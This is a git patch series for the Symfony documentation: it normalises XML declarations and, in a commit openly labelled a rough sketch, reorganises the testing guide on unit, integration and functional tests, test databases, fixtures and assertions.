@@ -116,7 +116,7 @@ properties and setters (``setXxx()``) to change properties:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 76d4cb9792e..e860c9e7d15 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -89,7 +89,7 @@ If you want to apply tags automatically for your own services, use the
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
             <services>
                 <!-- this config only applies to the services created by this file -->
diff --git a/testing/bootstrap.rst b/testing/bootstrap.rst
index cf1b63621a2..cf6cb97b651 100644
--- a/testing/bootstrap.rst
+++ b/testing/bootstrap.rst
@@ -26,7 +26,7 @@ before running the tests:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit
         bootstrap="tests/bootstrap.php"
     >
@@ -39,7 +39,7 @@ cache to be cleared:
 .. code-block:: xml
 
     <!-- phpunit.xml.dist -->
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <phpunit>
         <!-- ... -->
 
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 336f6f12b39..ff32b875a31 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -36,7 +36,7 @@ encoders configuration to generate password hashes as fast as possible:
     .. code-block:: xml
 
         <!-- config/packages/test/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
diff --git a/translation.rst b/translation.rst
index ac14dd8c318..db096351c7e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -141,7 +141,7 @@ different formats:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/debug.rst b/translation/debug.rst
index afe1c778e77..bca8702f9a9 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -39,7 +39,7 @@ you've already setup some translations for the ``fr`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.fr.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -70,7 +70,7 @@ and for the ``en`` locale:
     .. code-block:: xml
 
         <!-- translations/messages.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 4e637a4335e..eff82a0e123 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -51,7 +51,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -112,7 +112,7 @@ typical usage of this is gender:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -199,7 +199,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -327,7 +327,7 @@ Similar to ``plural``, ``selectordinal`` allows you to use numbers as ordinal sc
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -391,7 +391,7 @@ using the :phpclass:`IntlDateFormatter`:
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
@@ -433,7 +433,7 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
     .. code-block:: xml
 
         <!-- translations/messages+intl-icu.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>
diff --git a/translation/xliff.rst b/translation/xliff.rst
index a3c3daab43e..d5fb90e3586 100644
--- a/translation/xliff.rst
+++ b/translation/xliff.rst
@@ -19,7 +19,7 @@ loaded/dumped inside a Symfony application:
 
 .. code-block:: xml
 
-    <?xml version="1.0" encoding="UTF-8"?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <xliff xmlns="urn:oasis:names:tc:xliff:document:2.1" version="2.1"
         srcLang="fr-FR" trgLang="en-US">
         <file id="messages.en_US">
diff --git a/validation/translations.rst b/validation/translations.rst
index 16df7921327..396d4fd6eaa 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -101,7 +101,7 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
     .. code-block:: xml
 
         <!-- translations/validators/validators.en.xlf -->
-        <?xml version="1.0"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
             <file source-language="en" datatype="plaintext" original="file.ext">
                 <body>

From 1380bd7272efc9f85c6c81166090becdfcced4a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 22 Dec 2020 17:25:36 +0100
Subject: [PATCH 2087/7107] Very rough sketch of better testing docs

---
 best_practices.rst    |   5 +-
 form/unit_testing.rst |   6 +-
 testing.rst           | 850 +++++++++++++++++++-----------------------
 testing/database.rst  | 115 ------
 4 files changed, 391 insertions(+), 585 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 2880c1014e5..8917b619106 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -399,8 +399,8 @@ Smoke Test your URLs
 
 In software engineering, `smoke testing`_ consists of *"preliminary testing to
 reveal simple failures severe enough to reject a prospective software release"*.
-Using :ref:`PHPUnit data providers <testing-data-providers>` you can define a
-functional test that checks that all application URLs load successfully::
+Using `PHPUnit data providers`_ you can define a functional test that
+checks that all application URLs load successfully::
 
     // tests/ApplicationAvailabilityFunctionalTest.php
     namespace App\Tests;
@@ -454,3 +454,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 795fd55c9ea..33ef7bd4ca4 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -121,8 +121,8 @@ variable exists and will be available in your form themes::
 
 .. tip::
 
-    Use :ref:`PHPUnit data providers <testing-data-providers>` to test multiple
-    form conditions using the same test code.
+    Use `PHPUnit data providers`_ to test multiple form conditions using
+    the same test code.
 
 .. caution::
 
@@ -242,3 +242,5 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeExtensions`
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
+
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 12bd6c74524..736e7d5b880 100644
--- a/testing.rst
+++ b/testing.rst
@@ -38,10 +38,9 @@ your app):
     it again. Another solution is to remove the project's ``symfony.lock`` file and
     run ``composer install`` to force the execution of all Symfony Flex recipes.
 
-Each test - whether it's a unit test or a functional test - is a PHP class
-that should live in the ``tests/`` directory of your application. If you follow
-this rule, then you can run all of your application's tests with the same
-command as before.
+Each test is a PHP class that should live in the ``tests/`` directory of
+your application. If you follow this rule, then you can run all of your
+application's tests with the same command as before.
 
 PHPUnit is configured by the ``phpunit.xml.dist`` file in the root of your
 Symfony application.
@@ -51,79 +50,118 @@ Symfony application.
     Use the ``--coverage-*`` command options to generate code coverage reports.
     Read the PHPUnit manual to learn more about `code coverage analysis`_.
 
-.. index::
-   single: Tests; Unit tests
+Types of Tests
+--------------
+
+`Unit Tests`_
+    These tests ensure that *individual* units of source code (e.g. a single
+    class) behave as intended.
+
+`Integration Tests`_
+    These tests test a combination of classes and commonly interact with
+    Symfony's service container. These tests do not yet cover the full
+    working application, those are called *Functional tests*.
+
+`Functional Tests`_
+    Functional tests test the behavior of a complete application. They
+    make HTTP requests and test that the response is as expected.
+
+`End to End Tests (E2E)`_
+    At last, end to end tests test the application as a real user. They use
+    a real browser and real integrations with external services.
 
 Unit Tests
 ----------
 
-A `unit test`_ ensures that individual units of source code (e.g. a single class
-or some specific method in some class) meet their design and behave as intended.
-If you want to test an entire feature of your application (e.g. registering as a
-user or generating an invoice), see the section about :ref:`Functional Tests <functional-tests>`.
+A `unit test`_ ensures that individual units of source code (e.g. a single
+class or some specific method in some class) meet their design and behave
+as intended. Writing Symfony unit tests is no different from writing
+standard PHPUnit unit tests. You can learn about it in the PHPUnit
+documentation: `Writing Tests for PHPUnit`_.
 
-Writing Symfony unit tests is no different from writing standard PHPUnit
-unit tests. Suppose, for example, that you have a class called ``Calculator``
-in the ``src/Util/`` directory of the app::
+By convention, the ``tests/`` directory should replicate the directory
+of your application for unit tests. So, if you're testing a class in the
+``src/Util/`` directory, put the test in the ``tests/Util/`` directory.
+Autoloading is automatically enabled via the ``vendor/autoload.php`` file
+(as configured by default in the ``phpunit.xml.dist`` file).
 
-    // src/Util/Calculator.php
-    namespace App\Util;
+You can run tests using the ``bin/phpunit`` command:
 
-    class Calculator
-    {
-        public function add($a, $b)
-        {
-            return $a + $b;
-        }
-    }
+.. code-block:: terminal
 
-To test this, create a ``CalculatorTest`` file in the ``tests/Util`` directory
-of your application::
+    # run all tests of the application
+    $ php bin/phpunit
 
-    // tests/Util/CalculatorTest.php
-    namespace App\Tests\Util;
+    # run all tests in the Util/ directory
+    $ php bin/phpunit tests/Util
 
-    use App\Util\Calculator;
-    use PHPUnit\Framework\TestCase;
+    # run tests for the Calculator class
+    $ php bin/phpunit tests/Util/CalculatorTest.php
+
+Integration Tests
+-----------------
+
+TODO: KernelTestCase
+
+Accessing the Container
+~~~~~~~~~~~~~~~~~~~~~~~
 
-    class CalculatorTest extends TestCase
+You can get the same container used in the application, which only includes
+the public services::
+
+    public function testSomething()
     {
-        public function testAdd()
-        {
-            $calculator = new Calculator();
-            $result = $calculator->add(30, 12);
+        $kernel = self::bootKernel();
+        $container = $kernel->getContainer();
+        $someService = $container->get('the-service-ID');
 
-            // assert that your calculator added the numbers correctly!
-            $this->assertEquals(42, $result);
-        }
+        // ...
     }
 
-.. note::
+Symfony tests also have access to a special container that includes both the
+public services and the non-removed :ref:`private services <container-public>`
+services::
 
-    By convention, the ``tests/`` directory should replicate the directory
-    of your application for unit tests. So, if you're testing a class in the
-    ``src/Util/`` directory, put the test in the ``tests/Util/``
-    directory.
+    public function testSomething()
+    {
+        // this call is needed; otherwise the container will be empty
+        self::bootKernel();
 
-Like in your real application - autoloading is automatically enabled via the
-``vendor/autoload.php`` file (as configured by default in the
-``phpunit.xml.dist`` file).
+        $container = self::$container;
+        // $someService = $container->get('the-service-ID');
 
-You can also limit a test run to a directory or a specific test file:
+        // ...
+    }
 
-.. code-block:: terminal
+.. caution::
 
-    # run all tests of the application
-    $ php bin/phpunit
+    The special container ``test.service_container`` doesn't give access to the
+    private services that have been removed (those who are not used by any
+    other services). The solution is to declare those private services as public
+    in the ``config/services_test.yaml`` file.
 
-    # run all tests in the Util/ directory
-    $ php bin/phpunit tests/Util
+.. TODO is this really different from self::$container and how to access
+   this in KernelTestCase?
 
-    # run tests for the Calculator class
-    $ php bin/phpunit tests/Util/CalculatorTest.php
+    Finally, for the most rare edge-cases, Symfony includes a special container
+    which provides access to all services, public and private. This special
+    container is a service that can be get via the normal container::
 
-.. index::
-   single: Tests; Functional tests
+        public function testSomething()
+        {
+            $client = self::createClient();
+            $normalContainer = $client->getContainer();
+            $specialContainer = $normalContainer->get('test.service_container');
+
+            // $somePrivateService = $specialContainer->get('the-service-ID');
+
+            // ...
+        }
+
+Mocking Services
+~~~~~~~~~~~~~~~~
+
+TODO
 
 .. _functional-tests:
 
@@ -139,249 +177,313 @@ tests as far as PHPUnit is concerned, but they have a very specific workflow:
 * Test the response;
 * Rinse and repeat.
 
-Before creating your first test, install these packages that provide some of the
-utilities used in the functional tests:
+Before creating your first test, install the ``symfony/test-pack`` which
+requires multiple packages providing some of the utilities used in the
+tests:
 
 .. code-block:: terminal
 
-    $ composer require --dev symfony/browser-kit symfony/css-selector
+    $ composer require --dev symfony/test-pack
 
-Your First Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~
-Functional tests are PHP files that typically live in the ``tests/Controller``
-directory of your application. If you want to test the pages handled by your
-``PostController`` class, start by creating a new ``PostControllerTest.php``
-file that extends a special ``WebTestCase`` class.
+Set-up your Test Environment
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-As an example, a test could look like this::
+The Client used by functional tests creates a Kernel that runs in a special
+``test`` environment. Since Symfony loads the ``config/packages/test/*.yaml``
+in the ``test`` environment, you can tweak any of your application's settings
+specifically for testing.
 
-    // tests/Controller/PostControllerTest.php
-    namespace App\Tests\Controller;
+For example, by default, the Swift Mailer is configured to *not* actually
+deliver emails in the ``test`` environment. You can see this under the ``swiftmailer``
+configuration option:
 
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+.. configuration-block::
 
-    class PostControllerTest extends WebTestCase
-    {
-        public function testShowPost()
-        {
-            $client = static::createClient();
+    .. code-block:: yaml
 
-            $client->request('GET', '/post/hello-world');
+        # config/packages/test/swiftmailer.yaml
 
-            $this->assertEquals(200, $client->getResponse()->getStatusCode());
-        }
-    }
+        # ...
+        swiftmailer:
+            disable_delivery: true
 
-.. tip::
+    .. code-block:: xml
 
-    To run your functional tests, the ``WebTestCase`` class needs to know which
-    is the application kernel to bootstrap it. The kernel class is usually
-    defined in the ``KERNEL_CLASS`` environment variable (included in the
-    default ``.env.test`` file provided by Symfony):
+        <!-- config/packages/test/swiftmailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/swiftmailer
+                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
 
-    If your use case is more complex, you can also override the
-    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
-    which take precedence over the ``KERNEL_CLASS`` env var.
+            <!-- ... -->
+            <swiftmailer:config disable-delivery="true"/>
+        </container>
 
-In the above example, you validated that the HTTP response was successful. The
-next step is to validate that the page actually contains the expected content.
-The ``createClient()`` method returns a client, which is like a browser that
-you'll use to crawl your site::
+    .. code-block:: php
 
-    $crawler = $client->request('GET', '/post/hello-world');
+        // config/packages/test/swiftmailer.php
 
-The ``request()`` method (read
-:ref:`more about the request method <testing-request-method-sidebar>`)
-returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
-be used to select elements in the response, click on links and submit forms.
+        // ...
+        $container->loadFromExtension('swiftmailer', [
+            'disable_delivery' => true,
+        ]);
+
+You can also use a different environment entirely, or override the default
+debug mode (``true``) by passing each as options to the ``createClient()``
+method::
+
+    $client = static::createClient([
+        'environment' => 'my_test_env',
+        'debug'       => false,
+    ]);
 
 .. tip::
 
-    The ``Crawler`` only works when the response is an XML or an HTML document.
-    To get the raw content response, call ``$client->getResponse()->getContent()``.
+    It is recommended to run your test with ``debug`` set to ``false`` on
+    your CI server, as it significantly improves test performance.
 
-The crawler integrates with the ``symfony/css-selector`` component to give you the
-power of CSS selectors to find content in a page. To install the CSS selector
-component, run:
+Customizing Environment Variables
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. code-block:: terminal
+If you need to customize some environment variables for your tests (e.g. the
+``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
+need in your ``.env.test`` file:
 
-    $ composer require --dev symfony/css-selector
+.. code-block:: text
 
-Now you can use CSS selectors with the crawler. To assert that the phrase
-"Hello World" is present in the page's main title, you can use this assertion::
+    # .env.test
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
 
-    $this->assertSelectorTextContains('html h1.title', 'Hello World');
+    # use SQLITE
+    # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
 
-This assertion checks if the first element matching the CSS selector contains
-the given text. This assert calls ``$crawler->filter('html h1.title')``
-internally, which allows you to use CSS selectors to filter any HTML element in
-the page and check for its existence, attributes, text, etc.
+This file is automatically read in the ``test`` environment: any keys here override
+the defaults in ``.env``.
 
-The ``assertSelectorTextContains`` method is not a native PHPUnit assertion and is
-available thanks to the ``WebTestCase`` class.
+Configuring a Database for Tests
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.3
+Tests that interact with the database should use their own separate database to
+not mess with the databases used in the other :ref:`configuration environments <configuration-environments>`.
+To do that, edit or create the ``.env.test.local`` file at the root directory of
+your project and define the new value for the ``DATABASE_URL`` env var:
 
-    The ``WebTestCase`` assertions were introduced in Symfony 4.3
+.. code-block:: bash
 
-The crawler can also be used to interact with the page. Click on a link by first
-selecting it with the crawler using either an XPath expression or a CSS selector,
-then use the client to click on it::
+    # .env.test.local
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
-    $link = $crawler
-        ->filter('a:contains("Greet")') // find all links with the text "Greet"
-        ->eq(1) // select the second link in the list
-        ->link()
-    ;
+.. tip::
 
-    // and click it
-    $crawler = $client->click($link);
+    A common practice is to append the ``_test`` suffix to the original database
+    names in tests. If the database name in production is called ``project_acme``
+    the name of the testing database could be ``project_acme_test``.
 
-Submitting a form is very similar: select a form button, optionally override
-some form values and submit the corresponding form::
+The above assumes that each developer/machine uses a different database for the
+tests. If the entire team uses the same settings for tests, edit or create the
+``.env.test`` file instead and commit it to the shared repository. Learn more
+about :ref:`using multiple .env files in Symfony applications <configuration-multiple-env-files>`.
 
-    $form = $crawler->selectButton('submit')->form();
+Resetting the Database Automatically Before each Test
+.....................................................
 
-    // set some values
-    $form['name'] = 'Lucas';
-    $form['form_name[subject]'] = 'Hey there!';
+Tests should be independent from each other to avoid side effects. For example,
+if some test modifies the database (by adding or removing an entity) it could
+change the results of other tests. Run the following command to install a bundle
+that ensures that each test is run with the same unmodified database:
 
-    // submit the form
-    $crawler = $client->submit($form);
+.. code-block:: terminal
 
-.. tip::
+    $ composer require --dev dama/doctrine-test-bundle
 
-    The form can also handle uploads and contains methods to fill in different types
-    of form fields (e.g. ``select()`` and ``tick()``). For details, see the
-    `Forms`_ section below.
+Now, enable it as a PHPUnit extension or listener:
 
-Now that you can navigate through an application, use assertions to test
-that it actually does what you expect it to. Use the Crawler to make assertions
-on the DOM::
+.. code-block:: xml
 
-    // asserts that the response matches a given CSS selector.
-    $this->assertGreaterThan(0, $crawler->filter('h1')->count());
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
 
-Or test against the response content directly if you just want to assert that
-the content contains some text or in case that the response is not an XML/HTML
-document::
+        <extensions>
+            <extension class="DAMA\DoctrineTestBundle\PHPUnit\PHPUnitExtension"/>
+        </extensions>
+    </phpunit>
 
-    $this->assertContains(
-        'Hello World',
-        $client->getResponse()->getContent()
-    );
+This bundle uses a clever trick to avoid side effects without sacrificing
+performance: it begins a database transaction before every test and rolls it
+back automatically after the test finishes to undo all changes. Read more in the
+documentation of the `DAMADoctrineTestBundle`_.
 
-.. tip::
+.. _doctrine-fixtures:
 
-    Instead of installing each testing dependency individually, you can use the
-    ``test`` :ref:`Symfony pack <symfony-packs>` to install all those dependencies at once:
+Load Dummy Data Fixtures
+........................
 
-    .. code-block:: terminal
+Instead of using the real data from the production database, it's common to use
+fake or dummy data in the test database. This is usually called *"fixtures data"*
+and Doctrine provides a library to create and load them. Install it with:
 
-        $ composer require --dev symfony/test-pack
+.. code-block:: terminal
 
-.. index::
-   single: Tests; Assertions
+    $ composer require --dev doctrine/doctrine-fixtures-bundle
 
-.. sidebar:: Useful Assertions
+Then, use the ``make:fixtures`` command to generate an empty fixture class:
 
-    To get you started faster, here is a list of the most common and
-    useful test assertions::
+.. code-block:: terminal
 
-        use Symfony\Component\HttpFoundation\Response;
+    $ php bin/console make:fixtures
 
-        // ...
+    The class name of the fixtures to create (e.g. AppFixtures):
+    > ProductFixture
 
-        // asserts that there is at least one h2 tag with the class "subtitle"
-        // the third argument is an optional message shown on failed tests
-        $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
-            'There is at least one subtitle'
-        );
+Customize the new class to load ``Product`` objects into Doctrine::
 
-        // asserts that there are exactly 4 h2 tags on the page
-        $this->assertCount(4, $crawler->filter('h2'));
-
-        // asserts that the "Content-Type" header is "application/json"
-        $this->assertResponseHeaderSame('Content-Type', 'application/json');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->headers->contains(
-            'Content-Type', 'application/json'
-        ));
-
-        // asserts that the response content contains a string
-        $this->assertContains('foo', $client->getResponse()->getContent());
-        // ...or matches a regex
-        $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
-
-        // asserts that the response status code is 2xx
-        $this->assertResponseIsSuccessful();
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isSuccessful());
-
-        // asserts that the response status code is 404 Not Found
-        $this->assertTrue($client->getResponse()->isNotFound());
-
-        // asserts a specific status code
-        $this->assertResponseStatusCodeSame(201);
-        // HTTP status numbers are available as constants too:
-        // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
-        // equivalent to:
-        $this->assertEquals(201, $client->getResponse()->getStatusCode());
-
-        // asserts that the response is a redirect to /demo/contact
-        $this->assertResponseRedirects('/demo/contact');
-        // equivalent to:
-        $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
-        // ...or check that the response is a redirect to any URL
-        $this->assertResponseRedirects();
+    // src/DataFixtures/ProductFixture.php
+    namespace App\DataFixtures;
 
-.. versionadded:: 4.3
+    use App\Entity\Product;
+    use Doctrine\Bundle\FixturesBundle\Fixture;
+    use Doctrine\Persistence\ObjectManager;
 
-    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
-    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
-    related methods were introduced in Symfony 4.3.
+    class ProductFixture extends Fixture
+    {
+        public function load(ObjectManager $manager)
+        {
+            $product = new Product();
+            $product->setName('Priceless widget');
+            $product->setPrice(14.50);
+            $product->setDescription('Ok, I guess it *does* have a price');
+            $manager->persist($product);
+
+            // add more products
 
-.. _testing-data-providers:
+            $manager->flush();
+        }
+    }
 
-Testing against Different Sets of Data
---------------------------------------
+Empty the database and reload *all* the fixture classes with:
 
-It's common to have to execute the same test against different sets of data to
-check the multiple conditions code must handle. This is solved with PHPUnit's
-`data providers`_, which work both for unit and functional tests.
+.. code-block:: terminal
 
-First, add one or more arguments to your test method and use them inside the
-test code. Then, define another method which returns a nested array with the
-arguments to use on each test run. Lastly, add the ``@dataProvider`` annotation
-to associate both methods::
+    $ php bin/console doctrine:fixtures:load
 
-    /**
-     * @dataProvider provideUrls
-     */
-    public function testPageIsSuccessful($url)
-    {
-        $client = self::createClient();
-        $client->request('GET', $url);
+For more information, read the `DoctrineFixturesBundle documentation`_.
 
-        $this->assertTrue($client->getResponse()->isSuccessful());
-    }
+Write Your First Functional Test
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    public function provideUrls()
+Functional tests are PHP files that typically live in the ``tests/Controller``
+directory of your application. If you want to test the pages handled by your
+``PostController`` class, start by creating a new ``PostControllerTest.php``
+file that extends a special ``WebTestCase`` class.
+
+As an example, a test could look like this::
+
+    // tests/Controller/PostControllerTest.php
+    namespace App\Tests\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
+
+    class PostControllerTest extends WebTestCase
     {
-        return [
-            ['/'],
-            ['/blog'],
-            ['/contact'],
-            // ...
-        ];
+        public function testShowPost()
+        {
+            $client = static::createClient();
+
+            $client->request('GET', '/post/hello-world');
+
+            $this->assertEquals(200, $client->getResponse()->getStatusCode());
+        }
     }
 
-.. index::
-   single: Tests; Client
+.. tip::
+
+    To run your functional tests, the ``WebTestCase`` class needs to know which
+    is the application kernel to bootstrap it. The kernel class is usually
+    defined in the ``KERNEL_CLASS`` environment variable (included in the
+    default ``.env.test`` file provided by Symfony):
+
+    If your use case is more complex, you can also override the
+    ``createKernel()`` or ``getKernelClass()`` methods of your functional test,
+    which take precedence over the ``KERNEL_CLASS`` env var.
+
+In the above example, you validated that the HTTP response was successful. The
+next step is to validate that the page actually contains the expected content.
+The ``createClient()`` method returns a client, which is like a browser that
+you'll use to crawl your site::
+
+    $crawler = $client->request('GET', '/post/hello-world');
+
+The ``request()`` method (read
+:ref:`more about the request method <testing-request-method-sidebar>`)
+returns a :class:`Symfony\\Component\\DomCrawler\\Crawler` object which can
+be used to select elements in the response, click on links and submit forms.
+
+Useful Assertions
+~~~~~~~~~~~~~~~~~
+
+To get you started faster, here is a list of the most common and
+useful test assertions::
+
+    use Symfony\Component\HttpFoundation\Response;
+
+    // ...
+
+    // asserts that there is at least one h2 tag with the class "subtitle"
+    // the third argument is an optional message shown on failed tests
+    $this->assertGreaterThan(0, $crawler->filter('h2.subtitle')->count(),
+        'There is at least one subtitle'
+    );
+
+    // asserts that there are exactly 4 h2 tags on the page
+    $this->assertCount(4, $crawler->filter('h2'));
+
+    // asserts that the "Content-Type" header is "application/json"
+    $this->assertResponseHeaderSame('Content-Type', 'application/json');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->headers->contains(
+        'Content-Type', 'application/json'
+    ));
+
+    // asserts that the response content contains a string
+    $this->assertContains('foo', $client->getResponse()->getContent());
+    // ...or matches a regex
+    $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
+
+    // asserts that the response status code is 2xx
+    $this->assertResponseIsSuccessful();
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isSuccessful());
+
+    // asserts that the response status code is 404 Not Found
+    $this->assertTrue($client->getResponse()->isNotFound());
+
+    // asserts a specific status code
+    $this->assertResponseStatusCodeSame(201);
+    // HTTP status numbers are available as constants too:
+    // e.g. 201 === Symfony\Component\HttpFoundation\Response::HTTP_CREATED
+    // equivalent to:
+    $this->assertEquals(201, $client->getResponse()->getStatusCode());
+
+    // asserts that the response is a redirect to /demo/contact
+    $this->assertResponseRedirects('/demo/contact');
+    // equivalent to:
+    $this->assertTrue($client->getResponse()->isRedirect('/demo/contact'));
+    // ...or check that the response is a redirect to any URL
+    $this->assertResponseRedirects();
+
+.. versionadded:: 4.3
+
+    The ``assertResponseHeaderSame()``, ``assertResponseIsSuccessful()``,
+    ``assertResponseStatusCodeSame()``, ``assertResponseRedirects()`` and other
+    related methods were introduced in Symfony 4.3.
 
 Working with the Test Client
-----------------------------
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The test client simulates an HTTP client like a browser and makes requests
 into your Symfony application::
@@ -489,7 +591,7 @@ script::
     $client->insulate();
 
 AJAX Requests
-~~~~~~~~~~~~~
+.............
 
 The Client provides a :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
 method, which has the same arguments as the ``request()`` method, and it's a
